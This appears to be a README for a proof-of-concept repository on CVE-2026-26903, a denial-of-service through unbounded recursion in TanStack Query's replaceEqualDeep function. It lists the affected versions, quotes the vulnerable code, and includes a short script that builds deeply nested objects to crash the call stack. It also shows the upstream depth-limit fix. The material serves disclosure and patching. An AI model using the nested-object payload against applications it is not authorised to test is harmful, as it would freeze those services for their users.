
A PoC for demonstrating CVE-2026-26903
Denial-of-service via unbounded recursion in TanStack Query's replaceEqualDeep function
A single crafted query update with deeply nested objects can freeze the JavaScript thread indefinitely, causing complete application unresponsiveness. No authentication or special permissions are required.
This vulnerability was fixed in @tanstack/[email protected] via PR #10032, published on January 14, 2026.
| Package | Affected | Fixed |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/vue-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/solid-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/svelte-query | depends on vulnerable query-core | 6.1.7+ |
CVE-2026-26903: Denial of Service via unbounded recursion in replaceEqualDeep (Severity: Medium)
The
replaceEqualDeepfunction in TanStack Query performs recursive comparison of nested objects without depth limits. When processing deeply nested data structures, this can trigger unbounded recursion leading to stack overflow and application freeze.— Assigned via MITRE
TanStack Query's replaceEqualDeep function is used internally to determine if query data has actually changed, optimizing re-renders by preserving object references when possible. The function recursively traverses object properties to perform deep equality comparison.
The recursive implementation lacks depth limits or cycle detection:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep with deeply nested datauseQuery hooks with nested response datasetQueryData, invalidateQueries, or any query cache operationCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Option A: Standalone HTML demo (no dependencies)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Option B: React application (realistic scenario)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
The PoC generates deeply nested objects and triggers replaceEqualDeep to process them:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
Each recursive call adds a new stack frame until the JavaScript engine's call stack is exhausted, freezing the thread.
Location: @tanstack/query-core/src/utils.ts (approximate)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
The fix (applied in TanStack Query commit 269351b) adds a depth limit to prevent unbounded recursion:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Key changes:
depth parameter with default value 0 to track recursion depthb immediately if depth > 500replaceEqualDeep(aItem, bItem, depth + 1)
This simple fix prevents stack overflow while allowing reasonable nesting (500 levels is more than sufficient for real-world data structures).Implement depth limiting in replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
Or use iterative traversal instead of recursion.
This proof-of-concept is provided for educational and authorized security testing purposes only. Use it responsibly and only against applications you own or have explicit permission to test. The authors are not responsible for any misuse of this information.